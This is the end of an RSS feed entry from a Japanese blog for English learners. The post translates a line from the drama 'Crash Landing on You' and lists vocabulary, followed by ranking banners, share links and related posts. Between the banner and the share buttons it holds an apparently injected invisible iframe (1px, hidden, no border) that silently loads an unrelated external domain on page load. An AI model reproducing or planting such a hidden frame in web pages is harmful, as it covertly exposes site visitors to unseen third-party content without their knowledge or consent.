data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/L9QSXTjOifg?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/L9QSXTjOifg?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe></p></div>
</p></div>
<p>	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2020\/08\/21\/cloy3\/#arve-youtube-l9qsxtjoifg","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/L9QSXTjOifg?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script></p>
</div>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">・<strong>fortune</strong>＝幸運<br>・<strong>misfortune</strong>＝不運<br>・<strong>twisted rope</strong>＝より合わせた縄<br>・<strong>come by turns</strong>＝順番にやってくる</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;実は、このセリフ、私の祖父のモットーでした。</p>



<p class="wp-block-paragraph"></p>



<div class="wp-block-vk-blocks-border-box vk_borderBox vk_borderBox-background-transparent has-text-color has-pale-cyan-blue-color is-style-vk_borderBox-style-solid-round-tit-tab"><div class="vk_borderBox_title_container has-background has-pale-cyan-blue-background-color"><i class=""></i><h4 class="vk_borderBox_title"><span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="bell" class="svg-inline--fa fa-bell " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64zm215.39-149.71c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71z"></path></svg></span>参考サイト<span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="bell" class="svg-inline--fa fa-bell " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64zm215.39-149.71c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71z"></path></svg></span></h4></div><div class="vk_borderBox_body">
<p class="wp-block-paragraph"><a href="https://mflthings.com/2020/06/21/cloy3/" title="" target="_blank" rel="noopener"><strong><span style="text-decoration: underline;">ヒョンビン沼から抜け出せない、愛の不時着 その3</span></strong></a></p>
</div></div>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph"><a href="//blog.with2.net/link/?2011927:3421"><img decoding="async" title="英会話ランキング" src="https://blog.with2.net/img/banner/c/banner_1/br_c_3421_1.gif"></a><br><a style="font-size: 0.9em;" href="//blog.with2.net/link/?2011927:3421">英会話ランキング</a></p>



<p class="wp-block-paragraph">&nbsp;</p>



<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&#038;title=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" data-a2a-url="https://ffeng.jp/2020/08/21/cloy3/" data-a2a-title="大ヒット韓流ドラマ《愛の不時着》名セリフ　災いの後には幸せがくるものだ　英訳"></a></p><p>The post <a rel="nofollow" href="https://ffeng.jp/2020/08/21/cloy3/">大ヒット韓流ドラマ《愛の不時着》名セリフ　災いの後には幸せがくるものだ　英訳</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/11/content-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2025/11/content-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/20/summer-english-expressions/' title='【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-150x150.jpg 150w, https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-65x65.jpg 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2024/08/ren-150x150.png 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1496</post-id>	</item>
	</channel>
</rss>
